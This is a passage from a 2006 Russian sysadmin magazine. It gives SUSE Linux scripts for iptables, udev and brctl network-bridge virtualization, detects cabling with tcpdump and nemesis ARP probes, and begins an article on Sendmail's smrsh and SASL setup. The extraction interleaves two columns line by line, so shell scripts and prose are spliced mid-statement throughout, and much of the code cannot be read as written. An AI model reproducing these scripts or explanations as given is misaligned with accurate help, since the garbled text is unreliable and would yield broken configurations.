надо будет повторять. Тогда имена на «eth» станут свобод- обходимые шаги по настройке виртуализованного интер-
ными, и их можно будет использовать в качестве имен сете- фейса уже выполнены однажды. В этом случае число ша-
вых мостов, которые, собственно, и послужат основой сете- гов несколько сократится:
вой виртуализации. Как только мосты созданы, ими можно 1. Создадим необходимое число сетевых мостов, соот-
манипулировать с помощью стандартных сетевых скриптов. ветствующих используемым сетевым интерфейсам.
Для этого в директории /etc/sysconfig/network надо создать 2. Поднимем и реальные, и виртуальные интерфейсы.
файлы с сетевыми настройками, названные по схеме ifcfg- 3. Скоммутируем реальные устройства с нужными сете-
eth*, где eth* соответствует имени сетевого моста, которому выми мостами.
эти настройки предназначены. Например, некоторому сете-
вому мосту eth2, используемому как канал в Интернет, мо- Шаг 3 полностью соответствует стандартному скрипту
жет соответствовать следующий файл настроек: /etc/init.d/network. Не забывайте перед стартом /etc/init.d/
boot.udev проконтролировать, что в конфигурации udev
# cat /etc/sysconfig/network/ifcfg-eth2 не возникло нежелательных устройств, занимающих ис-
BOOTPROTO='static' пользуемые системные имена eth*. Также необходимости
UNIQUE='alZb.Tm92cpV9oKE' предустановить настройки сетевого экрана. Обе задачи
IPADDR='213.xx.xx.xxx'
NETMASK='255.255.255.248' можно совместить, если скрипты, их выполняющие, вызвать
BROADCAST='213.xx.xx.xxx' из /etc/init.d/boot.local. Полностью стартовая последователь-
NETWORK='213.xx.xx.xxx'
MTU='' ность должна выглядеть, как представлено на рис. 3.
NAME='Virtual device eth2 VDSL' В некоторой точке настройки системы (№1, рис. 3) вы-
STARTMODE='auto'
REMOTE_IPADDR='' полняется скрипт boot.local, предназначенный для размеще-
USERCONTROL='no' ния дополнительных пользовательских функций, которые

20
администрирование
должны выполниться после системного старта. Это пре-
красное место для инициализации сетевого экрана и кон-
троля настроек udev. Сначала заблокируем весь трафик
скриптом fw-init:

#!/bin/sh
iptables -F
iptables -t nat -F
iptables -t mangle -F
iptables -X
iptables -t nat -X
iptables -t mangle -X
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

Затем, разрешим работу интерфейса lo скриптом


fw-main:

#!/bin/sh

IPT=$(which iptables)
LIST1=("-A OUTPUT" "-A INPUT" "-A FORWARD" "-t nat ↵
-A POSTROUTING")
LIST2=("-o" "-i" "-i" "-o")
LIST3=("OUTPUT" "INPUT" "FORWARD" "POSTROUTING")
SIZE=4
IF=lo

I=0
while [ "$I" -lt "$SIZE" ] ; do
J=${LIST1[$I]}
K=${LIST2[$I]} Рисунок 3. Стартовая последовательность
L=${LIST3[$I]}
$IPT $J $K $IF -j ACCEPT В точке 2 (см. рис. 3) отработает boot.udev, который по
$IPT $J -j LOG --log-prefix "main $L DROP " ↵
--log-level notice стандартным зависимостям выполняется после boot.local,
$IPT $J -j DROP и настроит необходимое для работы службы udev.
I=$((I+1))
done И теперь в точке 3 (см. рис. 3) все готово для создания
$IPT -P INPUT ACCEPT виртуальных устройств сетевых мостов. Этим будет за-
$IPT -P OUTPUT ACCEPT
$IPT -P FORWARD ACCEPT ниматься специальный стартовый скрипт bridgeprep. Пол-
ный его текст, точно так же, как тексты всех используемых
Этот скрипт поместит в каждую цепочку разрешение здесь программ, размещается в прилагаемом архиве [3].
для трафика через lo, явное протоколирование и уничто- Все стартовые скрипты SUSE пишутся согласно стандарт-
жение всего остального трафика, и поменяет политики ному шаблону /etc/init.d/skeleton. Поэтому отмечу лишь ак-
на разрешительные. Сохранение политики DROP не поз- туальные и системно-зависимые части.
волит с помощью анализа логов понять причину непра- Во-первых, в самом начале создается управляющая
вильной работы сети в случае ошибок в настройке сете- секция согласно LSB:
вого экрана. А так, если уничтожение пакетов происходит
явным образом, можно обнаружить, куда исчезает тра- ### BEGIN INIT INFO
# Provides: bridgeprep
фик. Скрипты являются частью системы управления се- # Required-Start: boot.udev
тевым экраном, которая здесь не описана. Разделение их # Required-Stop: boot.udev
# Default-Start: 2 3 5
на два независимых файла сделано для того, чтобы мож- # Default-Stop:
но было каждой функцией воспользоваться по отдельнос- # Short-Description: Ethernet bridge
# Description: Start Bridge to allow configure
ти. Например, fw-init просто очищает все настройки iptables Bridge device
и блокирует трафик. ### END INIT INFO
Ну и напоследок чрезвычайно простая программка
fixudev, удаляющая все строки в настройках udev, изменяю- Здесь задается специальный идентификатор – bridgeprep,
щие имена в те, что используются в схеме виртуализации: который позволит ссылаться на этот скрипт из управляющих
секций других скриптов, далее указывается очередность –
#!/bin/sh после boot.udev, и уровни выполнения, в которые скрипт
N=/etc/udev/rules.d/30-net_persistent_names.rules
T=/tmp/30-net_persistent_names.rules.$$ включается по умолчанию. Если скрипт с такой управляю-
cat $N | grep -v "k eth" >$T щей секцией установить командой «chkconfig bridgeprep on»,
mv $T $N
то он будет включен в уровни 2, 3, 5 на любое свободное
Такой скрипт, конечно же, может испортить настройку место очередности в стартовой последовательности пос-
нового сетевого интерфейса, произведенную через YaST, ле boot.udev, а в стоповой – до boot.udev.
но он не позволит разрушить уже созданную сетевую на- Во-вторых, проверяется программное окружение и на-
стройку из-за конфликта имен. страиваются внутренние переменные:

№8, август 2006 21


администрирование
# Check for missing binaries всех устройств в команде brctl addbr $i. Дополнительно для
# (stale symlinks should not happen)
BRIDGE_BIN=/sbin/brctl каждого сетевого моста можно задать несколько парамет-
test -x $BRIDGE_BIN || ( echo "not found $BRIDGE_BIN" ; ↵ ров в формате BRIDGE_парамет_имя, например, так:
exit 5 )

# Check for existence of needed config file and read it BRIDGE_FD_eth0=0


BRIDGE_CONFIG=/etc/sysconfig/bridge BRIDGE_HELLO_eth0=0
test -r $BRIDGE_CONFIG || ↵ BRIDGE_STP_eth0=off
( echo "not found $BRIDGE_CONFIG" ; exit 6 )
. $BRIDGE_CONFIG
Если параметр определен в файле конфигурации
/etc/sysconfig/bridge, то производится его настройка для со-
Отсутствие brctl или собственных управляющих файлов ответствующего виртуального устройства. Поскольку все
скрипта приведет к аварийному завершению его работы. наши сетевые мосты будут использоваться исключитель-
В этом же фрагменте производится чтение управляющего но как средства виртуализации, то представленные выше
файла, который стандартно располагается в /etc/sysconfig значения для FD, HELLO и STP, а именно 0,0 и off, надо ука-
c совершенно неоригинальным именем bridge и представ- зать для каждого сетевого моста в обязательном порядке.
ляет собой просто список переменных с присваиваемыми Как видите, все очень просто. Новый стартовый скрипт
им значениями, заданный в формате командной оболочки надо установить принятым в SUSE способом:
bash. Это тоже совершенно стандартное решение для по-
добных системных параметров, и их задание и модифика- # cp bridgeprep /etc/init.d
# ln –s /etc/init.d/bridgeprep /sbin/rcbridgeprep
цию можно производить как из консоли с помощью редак- # chkconfig bridgeprep on
тора, так и используя оснастку в YaST. Содержание файла
/etc/sysconfig/bridge будем рассматривать синхронно с ко- После выполнения данного скрипта в процессе старта
дом, его использующим. системы будут созданы сетевые мосты, и их можно будет
В-третьих, небольшая характерная для SUSE «косме- «поднять», как и другие сетевые устройства, с помощью
тическая добавка»: стандартного скрипта network, на рис. 3 пункт 4. Но надо
непременно указать, чтобы скрипт network выполнялся пос-
# Shell functions sourced from /etc/rc.status: ле скрипта bridgeprep. Для этого в дистрибутивном скрипте
. /etc/rc.status
подправим одну строку в управляющей секции LSB:
# Reset status of this service
rc_reset
# Required-Start: $local_fs bridgeprep
Это позволит отражать результат работы скрипта в про-
токоле так, как принято для скриптов SUSE. где укажем, что работа скрипта network теперь зависит еще
Ну и, наконец, актуальная часть. Рассмотрим только стар- и от bridgeprep. Таким образом, при очередной перенастрой-
товую ветку оператора case. Все остальное работает точно ке местоположения network в стартовой последовательнос-
таким же образом. Вот часть кода, отвечающего за старт: ти «chkconfig network off : chkconfig network on», этот скрипт
займет правильное положение согласно рис. 3.
case "$1" in Если до запуска network в основном происходит на-
start)
echo "Starting bridge " стройка локальных сервисов, то после network будут за-
for i in ${BRIDGE_LIST} ; do пущены все сетевые устройства независимо от состояния
$BRIDGE_BIN addbr $i
P="BRIDGE_FD_$i" ; P=${!P} ; [ "1$P" != "1" ] ↵ внешних линий, и можно смело запускать также и сете-
&& $BRIDGE_BIN setfd $i $P вые сервисы... – все равно ни один из них не будет досту-
P="BRIDGE_HELLO_$i" ; P=${!P}
[ "1$P" != "1" ] && $BRIDGE_BIN sethello $i $P пен снаружи. Полностью сервер подключится к сети лишь
P="BRIDGE_STP_$i" ; P=${!P} ; [ "1$P" != "1" ] ↵ после отработки скрипта bridgeup (пункт 5, рис. 3). Этот
&& $BRIDGE_BIN stp $i $P
done скрипт, отмеченный на рисунке голубым контуром, явля-
$BRIDGE_BIN show ется нестандартным дополнением и построен аналогично
echo -n
рассмотренному ранее bridgeprep. Но у него уже иная стар-
# Remember status and be verbose товая зависимость:
rc_status -v
;;
# Required-Start: random bridgeprep network
Предполагаю, что вы знакомы с синтаксисом языка
сценариев bash, если нет, то подробности можно почерп- И, конечно же, иной алгоритм работы. Этот скрипт про-
нуть в отличном руководстве [4]. В указанном программном изводит сборку сетевых мостов, то есть подключение к ним
фрагменте используются косвенные ссылки. Сначала в пе- физических устройств. Полностью его работу рассмотрим
ременной BRIDGE_LIST задается список сетевых мостов, в следующем разделе, а сейчас приведу лишь фрагмент,
которые будут созданы, например, так: производящий статическую сборку:

BRIDGE_LIST="eth0 eth1 eth2 eth3" for i in ${BRIDGE_LIST} ; do


eval j=\$BRIDGE_DEVS_$i
if [ "1$j" != "1" ] ; then
Переменная $i «пробегает» в цикле все значения из это- # static device list
for k in $j ; do
го списка и применяется для последовательного создания [ "1$k" != "1" ] && {

22
администрирование
$BRIDGE_BIN addif $i $k
BRIDGE_POOL=`remove_dev $k`
}
done
else
...

Здесь все очевидно – если надо включить некоторые


устройства в нужный мост, то в /etc/sysconfig/bridge запи-
сывается:

BRIDGE_DEVS_eth0="hweth0 hweth2"

И два физических интерфейса с именем hweth0 и


hweth2 будут добавлены командой brctl addif к мосту eth0.
Этот скрипт тоже должен быть установлен тем же спосо-
бом, что и предыдущий.
Подведем итоги. Цена всей доработки стартовой схе-
мы, как и обещано, два нестандартных скрипта и неболь-
шая правка в network. После этого все начинает функцио-
нировать по-новому, так, как планировалось в [1].
Отдельно опишу, как решаются проблемы с настрой-
кой сетевых экранов. Итак, после boot.local во всех цепоч-
ках уничтожаются все пакеты кроме следующих через lo.
И в промежутке от пункта 1 и вплоть до пункта 5 на рис. 3
можно делать с сетевым экраном что угодно. Это никак не от-
разится на работе сервера и его служб, если все реальные Рисунок 4. Сетевая разметка тестового сервера
сетевые устройства настроены как 0.0.0.0, а все виртуальные
еще не подключены ни к одному реальному. Поэтому пред- новкой network надо остановить bridgeup и, соответствен-
лагается настройки сетевого экрана выполнять для каждого но, после запуска network не забыть запустить и bridgeup.
интерфейса синхронно с его включением скриптом network, А так как здесь идет речь о минимальном вмешательстве
а точнее, программой ifup. Как уже было написано в начале, в системные скрипты, то ограничимся тем, что просто за-
в каждый файл параметров сетевого интерфейса добавля- помним эту взаимосвязь.
ются дополнительные настройки, например:
Адаптивная коммутация
POST_UP_SCRIPT='/etc/fw/fw-on-internet' Теперь выполнены почти все обещания из первой части [1].
POST_DOWN_SCRIPT='/etc/fw/fw-off-internet'
Но есть еще одно важное и пока не реализованное преиму-
И соответствующие скрипты будут вызываться на вы- щество схемы виртуализации – соединение виртуальных
полнение сразу после поднятия интерфейса и после его от- устройств с реальными, согласно фактически произведен-
ключения. Сам сетевой экран надо строить по схеме, ана- ной внешней коммутации. Иначе говоря, в ходе выполне-
логичной используемой для устройства lo: ния bridgeup сервер должен проверить соответствие реаль-
1. Создаются подцепочки для каждой основной цепоч- ных подключений планируемым. Разберем это на конкрет-
ки iptables. Например inputeth0 для INPUT и устройства ном примере. Безусловно, пример не идеален, так как он
eth0. специфичен моей практике. Но описанные методы позво-
2. Затем они наполняются нужными правилами, заверша- лят построить вам собственную схему и для других усло-
емыми правилом с целью DROP. вий работы сервера.
3. И лишь после того в начало основной цепочки добав- Далее все буду описывать согласно рис. 4. Итак,
ляется переход на созданный фильтр с квалификато- есть сервер с четырьмя сетевыми картами, названными
ром (опцией, фильтрующей трафик по принадлежнос- hweth0-4. Есть три внешних кабельных подключения (ро-
ти к интерфейсу). зовые квадраты) – локальная сеть (LOCALNET), основной
ISP, подключенный через ADSL, и дополнительное под-
Подобная схема полностью исключает возможнос- ключение к региональной сети (MAN ISP), где провайдер
ти конфликтной или недостаточной фильтрации, так как использует DHCP. Внутри сервера создаются тоже четыре
за каждый интерфейс отвечает лишь одно правило в ос- сетевых интерфейса (голубые квадраты). Первый – для ра-
новной цепочке и собственная подцепочка фильтра, за- боты с локальной сетью (LOCALNET). Второй – как вирту-
вершаемая правилом с целью DROP, то есть не теряющая альная внутренняя сеть для связи виртуальных же машин
правила ни в каком случае. (CLUSTERNET). Третий – для соединения с ADSL-модемом
Два последних скрипта в стартовой последователь- (ADSL ISP). И четвертый для подключения к регионально-
ности (см. рис. 3), network и bridgeup, можно останавли- му провайдеру (MAN ISP).
вать и запускать независимо от всего остального. Но, к со- Задача заключается в том, что операционная систе-
жалению, нет штатного способа указать, что перед оста- ма, стартующая на этом сервере, не «знает», как на са-

№8, август 2006 23


администрирование
мом деле произведена коммутация внешних соединений, из-за отсутствия трафика вообще, или из-за того, что нельзя
но должна это «выяснить» «на лету» и, соответственно, на- гарантированно в течение времени прослушивания полу-
строить сетевые мосты. А иначе, спрашивается, зачем мы чить уверенный отклик, приходится прибегать к способам
все это затевали? активного тестирования кабельных подключений.
Вся работа будет производиться в скрипте bridgeup в са- Итак, если слушать нечего или невозможно, тогда оста-
мом завершении стартовой последовательности (рис. 3). ется «спросить» у сети что-то конкретное. Как принято вы-
Все интерфейсы уже подняты и сетевые экраны уже на- яснять наличие или отсутствие сетевых хостов – с помо-
строены (красная пунктирная линия на рис. 4). И вот те- щью icmp. Но у нас еще нет скоммутированных соедине-
перь вопрос – есть ли способ узнать, что «на кабеле» в та- ний, и такое высокоуровневое средство не подходит, так как
ком состоянии, когда физические интерфейсы еще не вклю- обмен посылками icmp является достаточно многоступен-
чены в мосты? чатым процессом. Нам придется выбрать что-то попроще.
Ну, конечно же, всем известная утилита tcpdump поз- Самое простое – arp-запрос. Только сформировать его на-
волит «прослушать» такие интерфейсы. Если вызвать до будет не штатной утилитой, так как сервер еще реаль-
ее как «tcpdump -ln -i hweth0», то можно получить прото- но не подключен к сетевым соединениям. Для таких целей
кол всех «пойманных» там пакетов и по характеру тра- прекрасно подходит утилита nemesis [5]. Можно взять го-
фика понять, какой провод воткнут в джек сетевой кар- товый бинарный пакет [6] и установить его в систему. Arp-
ты hweth0. Точно так же, как это можно сделать взглядом, запрос позволит узнать о существовании в сетевой сре-
можно и просчитать через grep по сохраненному протоко- де, подключенной к исследуемому интерфейсу, некоторо-
лу работы этой утилиты за некоторое контрольное время. го хоста, отвечающего по требуемому адресу. При этом за-
Например, если мы знаем, что в локальной сети у нас ис- прос отправляется в стиле «скажите хосту с адресом1, ка-
пользуется сетевой коммутатор, работающий по протоко- кой физический адрес имеет хост с адресом2». Очень удоб-
лу STP, то даже в «пустой» сети можно поймать периоди- но то, что подобный запрос практически никогда не бло-
чески рассылаемые сообщения, содержащие в расшиф- кируется, так как протокол ARP отвечает за самое низко-
ровке tcpdump подстроку «802.1d config». Такая проверка уровневое взаимодействие. В терминах утилиты nemesis
реализована в скрипте check-tcpdump [3]. Скрипт, в свою это выглядит так:
очередь, вызывается из bridgeup сразу после приведенно-
го выше фрагмента как альтернатива, вызываемая по ус- nemesis arp -d устройство -S адрес1 -D адрес2
ловию else, если отсутствует строка статического зада-
ния сборки моста: Вызов nemesis добавляется между запуском tcpdump
и отсчетом контрольного времени. После прекращения про-
eval j=\$BRIDGE_TCPDUMP_$i слушивания надо точно также профильтровать результат
if [ "1$j" != "1" ] ; then
# check tcpdump расшифровки трафика tcpdump. Но только образец для по-
L="" иска будет иной, а именно «arp reply адрес2 is-as». Все это
for k in ${BRIDGE_POOL} ; do
n=`${BRIDGE_CHK_TCPDUMP} $k "$j" | grep BINGO` выполняется скриптом check-arp [3].
[ "1$n" != "1" ] && { Теперь для настройки надо лишь определить хост, на-
$BRIDGE_BIN addif $i $k
L="$L $k" личие которого будет со всей определенностью указы-
} вать на нужную сетевую среду. Например, если сетевой
done
for k in $L ; do мост eth2 должен быть подключен к модему ADSL с адре-
BRIDGE_POOL=`remove_dev $k` сом 10.0.0.2 (рис. 4, зеленая стрелка), то в настройку до-
done
else бавляем строку:

Как уже видно, за эту ветку настройки отвечает специ- BRIDGE_ARP_eth2="10.0.0.1 10.0.0.2"
альная строка конфигурации сетевого моста:
Очередной фрагмент кода bridgeup, отвечающий за сле-
BRIDGE_TCPDUMP_eth0="802.1d config" дующую альтернативу else, вызываемую в отсутствие
других настроек, проверит существование переменной
Если она определена, то скрипт перебирает все устройс- BRIDGE_ARP-устройство и произведет соответствующую
тва, оставшиеся в списке незанятых (BRIDGE_POOL), и про- проверку оставшихся в списке BRIDGE_POOL-устройств
веряет протокол перехваченного tcpdump трафика с помо- в поиске подходящего:
щью check-tcpdump на совпадение с заданным образцом.
Безусловно, выбор правильного и эффективного образца eval j=\$BRIDGE_ARP_$i
if [ "1$j" != "1" ] ; then
для сравнения всецело на совести системного администра- # check arp
тора, производящего настройку, так как бывают сети с чрез- L=""
for k in ${BRIDGE_POOL} ; do
вычайно замусоренным трафиком. Например, данная стро- n=`${BRIDGE_CHK_ARP} $k $j | grep BINGO`
ка поиска работала до тех пор, пока в сети MAN не был под- [ "1$n" != "1" ] && {
$BRIDGE_BIN addif $i $k
ключен аналогичный коммутатор, как и в локальной сети. L="$L $k"
Тогда пришлось заменить контрольный образец на более }
done
подробный «802.1d config 8000.00:11:d8:cb:df:99.8001», со- for k in $L ; do
держащий MAC-устройства. И именно по этой причине или BRIDGE_POOL=`remove_dev $k`

24
администрирование
done После того как только кабели снова были возвраще-

fi ны на старые места и перезапущен bridgeup, все пришло
fi в норму:

В нашем случае других проверок не предусматрива- # rcbridgeup stop


...
ется и приведенный ваше блок закрывает все операторы # rcbridgeup
if, но пытливый и изобретательный читатель может про- Assemble bridgies eth0 eth1 eth2 eth3
должить настройки, если так будет требоваться конкрет- Hardware pool hweth0 hweth1 hweth2 hweth3
bridge name bridge id STP enabled interfaces
ной задачей. eth0 8000.000479661b70 no hweth1
eth1 8000.000000000000 no
Вот как это действует на практике. После старта сис- eth2 8000.001022ff43d7 no hweth0
темы, если кабельные подключения соединены соглас- eth3 8000.00xxxxxxxxxx no hweth3
Free NICs hweth2
но рис. 4, то запрос статуса соединения виртуальных ус- done
тройств покажет следующее (листинг приведен с сокра-
щениями): Заключение
Вот и все – запланированные цели достигнуты. Но получен-
# rcbridgeup status ное несколько больше простого технического приема. Таким
Checking for service bridge running образом создается независимая сетевая архитектура сер-
bridge name bridge id STP enabled interfaces
eth0 8000.000479661b70 no hweth1 вера. Или, говоря иначе, создается дополнительный слой
eth1 8000.000000000000 no виртуализации, что позволяет унифицировать так же и все
eth2 8000.001022ff43d7 no hweth0
eth3 8000.00xxxxxxxxxx no hweth3 настройки, основанные на сетевых параметрах, для систем,
eth0 Link encap:Ethernet HWaddr 00:04:79:66:1B:70
inet addr:192.168.0.9 Bcast:192.168.0.255 Mask:255.255.255.0 расположенных выше данного слоя. Максимальный выиг-
... рыш получается при использовании виртуальных серве-
eth1 Link encap:Ethernet HWaddr 00:00:00:00:00:00
inet addr:192.168.254.1 Bcast:192.168.254.255 Mask:255.255.255.0 ров. Так как миграция, а также и создание, и резервирова-
...
eth2 Link encap:Ethernet HWaddr 00:10:22:FF:43:D7 ние, и восстановление их требует единства внутрисерверн-
inet addr:10.0.0.1 Bcast:10.0.0.255 Mask:255.255.255.0 ной среды. Подробнее тема сетевой архитектуры будет рас-
...
eth3 Link encap:Ethernet HWaddr 00:XX:XX:XX:XX:XX смотрена в статьях, посвященных виртуальным серверам.
inet addr:172.16.YY.YY Bcast:172.16.255.255 Mask:255.255.0.0
...
Несколько неожиданным может показаться еще один
вывод. Описанное адаптивное поведение сетевой систе-
Интерфейс eth3 уже успел получить адрес через DHCP мы по отношению к внешней коммутации, кроме просто-
(и адрес, и MAC скрыты, так как их можно легко использо- го сохранения правильных настроек сетевого экрана, мо-
вать для спуфинга в MAN). Затем изменяем коммутацию жет привести и к философским выводам. Если считать ли-
случайным образом. Чтобы система «почувствовала» это нии коммуникации для компьютера эквивалентом органов
изменение, в нашем случае надо перезапустить bridgeup осязания, то управление этими органами является необ-
вручную, поскольку нам достаточно правильно настроить ходимым минимумом интеллектуальности. Если бы сете-
сеть после включения устройства. Но можно настроить пе- вые розетки были снабжены манипуляторами, ничего бы
риодический контроль, если персонал в серверной имеет не удивляло. Но здесь получается, что и без механическо-
привычку к спонтанной перекоммутации кроссов. го приспособления компьютер под управлением Linux мо-
жет «сам» выбрать правильное подключение. Иначе го-
# rcbridgeup status воря, может скомпенсировать ошибку оператора или тех-
Disassemble bridgies ника. То есть мы сделали компьютер немного умнее, «на-
bridge name bridge id STP enabled interfaces
eth0 8000.000000000000 no учив» его «видеть» и менять интерфейсное подключение
eth1 8000.000000000000 no программным способом.
eth2 8000.000000000000 no
eth3 8000.000000000000 no
done 1. Барабанов А. Современный Linux-сервер: виртуализируем се-
# rcbridgeup start
Assemble bridgies eth0 eth1 eth2 eth3 тевые устройства. //Системный администратор, №6, 2006 г. –
Hardware pool hweth0 hweth1 hweth2 hweth3
bridge name bridge id STP enabled interfaces
С. 10-17.
eth0 8000.00xxxxxxxxxx no hweth3 2. Daniel Drake. Writing udev rules – http://www.reactivated.net/
eth1 8000.000000000000 no
eth2 8000.0011d8956c2e no hweth2 writing_udev_rules.html.
eth3 8000.000000000000 no 3. Архив исходных текстов к статье – http://www.barabanov.ru/arts/
Free NICs hweth0 hweth1
done modernserver/netsrc.tgz.
4. Advanced Bash-Scripting Guide. Искусство программирования
Процесс отключения происходит совершенно безупреч- на языке сценариев командной оболочки. Версия 2.5 (15 фев-
но, а вот при подключении не обнаруживается соединение раля 2004 г.). Автор: Mendel Cooper (thegrendel at theriver dot
с MAN, так как в используемой сети применяется контроль com). Перевод: Андрей Киселев (kis_an at mail dot ru) – http://
по MAC, а разрешенное к применению устройство hweth3 gazette.linux.ru.net/rus/articles/abs-guide/index.html.
было уже задействовано для связи с локальной сетью. И те- 5. Nemesis packet injection utility – http://www.packetfactory.net/
перь уже две сетевые карты остались незадействованны- projects/nemesis.
ми. Таким образом, система предотвратила недопустимое 6. Бинарная сборка nemesis для SUSE – http://www.barabanov.ru/
соединение. arts/modernserver/nemesis-1.4beta3-1ab.i586.rpm.

№8, август 2006 25


администрирование

Как работает Sendmail?


Полезные подробности
Часть 4: Взаимодействие со сторонними программами

Гуртом і батька добре бити.

Мудрость братского народа

Сергей Супрунов
Как бы ни был гибок и функционален Sendmail, его возможностей не всегда хватает
для решения всего многообразия задач. Но открытость ПО тем и хороша, что позволяет
наращивать мощь практически без ограничений.

Защиты не бывает много но найти в статье «Практикум Python: лочке, но есть возможность вносить
Sendmail, как было показано в предыду- обрабатываем входящую электронную изменения в .forward-файл через веб-
щих частях статьи (№ 5, 6, 7 за 2006 г.), почту» (№2 за 2006 г.). интерфейс). Конечно, Sendmail снижа-
позволяет, используя файл aliases или Однако здесь скрывается потенци- ет до минимума негативные последс-
пользовательские .forward-файлы, пе- альная проблема безопасности – если твия этой возможности, запуская про-
ренаправлять входящие сообщения у пользователя будет возможность са- цесс, выполняющий такую обработ-
на обработку сторонними программа- мостоятельно указывать любые про- ку, от имени пользователя-владельца
ми. Сам механизм достаточно прост: граммы в качестве обработчиков поч- .forward-файла. Но нельзя забывать,
письмо в исходном формате поступа- ты, то всегда остаётся вероятность, что в системе могут быть исполняе-
ет на стандартный вход (stdin) указан- что он воспользуется этим для несан- мые файлы, на которые установлен бит
ной программы или скрипта, который кционированного вызова програм- suid, что в ряде случаев может привес-
в дальнейшем занимается его обра- мы, к которой в нормальных условиях ти к печальным последствиям...
боткой. Несложный пример реализа- у него нет доступа (например, не пре- Д л я р е ш е н и я это й п р о бл е м ы
ции такого сценария на Python мож- доставляется доступ к командной обо- Sendmail можно настроить на работу

26
администрирование

Cyrus SASL SASL. Будучи разработанной для нужд таких как LOGIN и PLAIN, однако их реко-
Механизм аутентификации SASL (Simple Cyrus IMAP Server, она широко использует- мендуется использовать только при рабо-
Authentication and Security Layer) использу- ся и для других задач, включая SMTP-ау- те по защищённому соединению.
ется для реализации безопасной аутенти- тентификацию. Для выполнения ау тентификации
фикации в связке с другими интернет-про- Cyrus SASL под держивает широ - используется входящий в состав Cyrus
токолами. Помимо аутентификации, SASL кий набор механизмов аутентификации – SASL демон saslauthd. Он умеет прово-
предоставляет механизмы проверки це- CRAM-MD5, DIGEST-MD5, Kerberos, GSSAPI дить проверку пароля как по собствен-
лостности данных. (спецификация Kerberos 5). При необходи- ной базе, так и используя механизмы
Одной из наиболее популярных реа- мости может быть разрешена поддержка PAM, LDAP, системный файл паролей
лизаций SASL является библиотека Cyrus механизмов «плоской» аутентификации, /etc/passwd, и т. д.

с «ограниченной оболочкой» (restricted shell for sendmail) – ществует ограниченный и стабильный список внешних се-
smrsh. Особенностью этой оболочки является то, что она тей для доступа к почте), то задача ограничения режима рет-
позволяет запускать программы только из своего катало- рансляции почты, чтобы ваш MTA не стал «открытым реле-
га, в системах FreeBSD по умолчанию это /usr/libexec/sm.bin ем», решается довольно легко с помощью файла access.
(изменить можно перекомпиляцией утилиты с флагом Но как только у вас появляются пользователи, которым
-DSMRSH_CMDDIR). нужно обеспечить возможность работы с их электронной
Как это работает, лучше всего посмотреть на приме- почтой из любой точки мира, возникает определённая про-
ре (после ключа -c указывается имя выполняемой про- блема. И наиболее приемлемым её решением будет исполь-
граммы): зование аутентификации.
Пожалуй, самой удобной методикой для Sendmail яв-
# pwd ляется использование SASL-аутентификации силами па-
/usr/libexec/sm.bin кета SASL-Auth. По умолчанию Sendmail во FreeBSD соби-
рается без поддержки SASL, в чём можно убедиться, по-
# ls -l
дав такую команду:
total 0
lrwxr-xr-x 1 root wheel 18 29 июн 10:13 thetest -> /home/serg/test.sh $ sendmail -d0.1 -bv
lrwxr-xr-x 1 root wheel 10 29 июн 10:01 w -> /usr/bin/w

# /usr/libexec/smrsh -c w и внимательно изучив строчки «Compiled with» на предмет


10:01AM up 20 days, 21:44, 1 user, load averages: 0.00, 0.02, 0.00 упоминания про SASL.
USER TTY FROM LOGIN@ IDLE WHAT Чтобы поддержка SASL в Sendmail появилась, нужно его
serg p0 curs3.myserver. 8:48AM - /usr/libexec/sm.bin/w
пересобрать. Для этого у вас должны быть исходные коды
# /usr/libexec/smrsh -c who системы. Последовательность действий такова:
/usr/libexec/smrsh: "who" not available for sendmail programs (stat failed)
1. Устанавливаем из портов security/cyrus-sasl2-saslauthd.
Конфигурацию можно оставить по умолчанию.
# /usr/libexec/smrsh -c thetest 2. В файле /usr/local/lib/sasl2/Sendmail.conf проверяем зна-
Smrsh test чение переменной pwcheck_method. По умолчанию она
определена как saslauthd, что означает использование
Как видите, smrsh позволяет исполнять только те про- универсального демона и будет хорошим решением
граммы, ссылки на которые (или сами двоичные файлы) в большинстве случаев.
размещены в /usr/libexec/sm.bin. Это же относится и к скрип- 3. Редактируем /etc/make.conf, добавив туда несколько
там – достаточно указать ссылку на скрипт, делать ссылку строк, которые будут использоваться при сборке сис-
на интерпретатор не требуется. При желании вы можете ис- темных программ:
пользовать любое имя программы – будет использоваться
имя ссылки, а не первоначальное имя «бинарника». # Флаги SASL для Sendmail
SENDMAIL_CFLAGS=-I/usr/local/include -DSASL=2
Чтобы Sendmail использовал для обработки перенаправ- SENDMAIL_LDFLAGS=-L/usr/local/lib
лений эту оболочку, а не стандартную sh, добавьте в mc- SENDMAIL_LDADD=-lsasl2
# Поддержка порта smtps для sendmail (если планируется)
файл такую строку: SENDMAIL_CFLAGS+= -D_FER_SMTP_SSL

FEATURE(smrsh) Здесь мы указываем добавлять при компиляции


Sendmail данные флаги, а также сообщаем программе
Любители править cf-файл могут заменить имя програм- make пути к необходимым библиотекам.
мы в строке Mprog, т.е. вместо «Mprog, P=/bin/sh . . . » ис- 4. Теперь пересобираем Sendmail:
пользовать «Mprog, P=/usr/libexec/smrsh . . . ».
# cd /usr/src/lib/libsmutil/
# make clean && make depend && make
Вход только по пропускам # cd ../libsm
Если для всех ваших пользователей предусматривается # make clean && make depend && make
# cd /usr/src/usr.sbin/sendmail
работа только из вашей подсети (или в крайнем случае су- # make clean && make depend && make && make install

№8, август 2006 27


администрирование
Обязательно убедитесь, что предварительно установи- использовании которых будет разрешена пересылка поч-
ли пакет cyrus-sasl (см. пункт 1), иначе получите ошибку ты (relaying), даже если адрес клиента не помечен в базе
об отсутствии нужных библиотек. Кстати, чтобы эти биб- access как RELAY или OK.
лиотеки не приходилось отыскивать по всему диску, на-
стоятельно рекомендуется ставить всё только из систе- Ребята! Да я же свой!
мы портов. Иногда может возникнуть ситуация, когда ваш сервер,
Теперь в выводимой информации должно присутство- для того, чтобы передать куда-то сообщение, сам должен
вать упоминание SASLv2: будет пройти аутентификацию. Например, это вполне обыч-
ная ситуация, если ваш MTA работает исключительно че-
$ sendmail -d0.1 -bv рез сервер провайдера, а провайдер не желает тратить си-
Version 8.13.6 лы на добавление вашего хоста в список доверенных, на-
Compiled with: . . .SASLv2 . . . стаивая на обязательном прохождении всеми клиентами
процедуры проверки подлинности.
Это означает, что осталось подкорректировать при не- Для этого существует файл authinfo, который подклю-
обходимости конфигурацию Sendmail, и можно проверять чается таким образом:
работу системы. Первое, что может потребовать настрой-
ки, это список разрешённых методов аутентификации. FEATURE(`authinfo', `hash -o /etc/mail/authinfo')
То, что у вас получилось сразу после перекомпиляции, мож-
